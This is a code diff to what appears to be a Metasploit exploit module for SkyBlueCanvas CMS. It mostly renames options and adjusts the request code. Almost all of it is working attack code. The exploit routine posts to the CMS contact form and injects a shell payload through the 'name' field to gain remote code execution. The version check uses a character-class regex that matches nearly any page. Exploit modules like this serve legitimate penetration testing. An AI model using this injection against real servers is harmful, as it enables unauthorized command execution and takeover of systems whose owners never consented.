Changes as requested in SkyBlue Canvas RCE module

modules/exploits/multi/http/skybluecanvas_exec.rb

@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
             'RequiredCmd'    => 'generic perl ruby bash telnet python'
           }
         },
-      'Platform'       => %w{ linux unix },
+      'Platform'       => %w{ unix },
       'Targets'        =>
         [
           ['SkyBlueCanvas', {}]
@@ -49,40 +49,41 @@ class Metasploit3 < Msf::Exploit::Remote
 
     register_options(
       [
-        OptString.new('URI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]),
+        OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]),
       ],self.class)
   end
 
   def check
-    uri = normalize_uri(datastore['URI'], "index.php")
+    uri = normalize_uri(target_uri.path.to_s, "index.php")
 
     res = send_request_raw(
       {
         'uri' => uri
-      }, 25)
+      })
 
-    if (res and res.body =~ /[1.1 r248]/)
+    if res and res.body =~ /[1.1 r248]/
       print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
-      return Exploit::CheckCode::Unknown
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
 
   def exploit
-    uri = normalize_uri(datastore['URI'], "index.php?pid=4")
+    uri = normalize_uri(target_uri.path.to_s, "index.php")
 
     res = send_request_cgi({
       'method'  => 'POST',
       'uri'     => uri,
+      'vars_get' => { 'pid' => '4' },
       'vars_post' =>
         {
-          'cid' => "3",
+          'cid' => '3',
           'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};",
           'email' => rand_text_alphanumeric(10),
-          "subject" => rand_text_alphanumeric(10),
-          "message" => rand_text_alphanumeric(10),
-          "action" => "Send"
+          'subject' => rand_text_alphanumeric(10),
+          'message' => rand_text_alphanumeric(10),
+          'action' => 'Send'
         }
-    }, 25)
+    })
   end
 end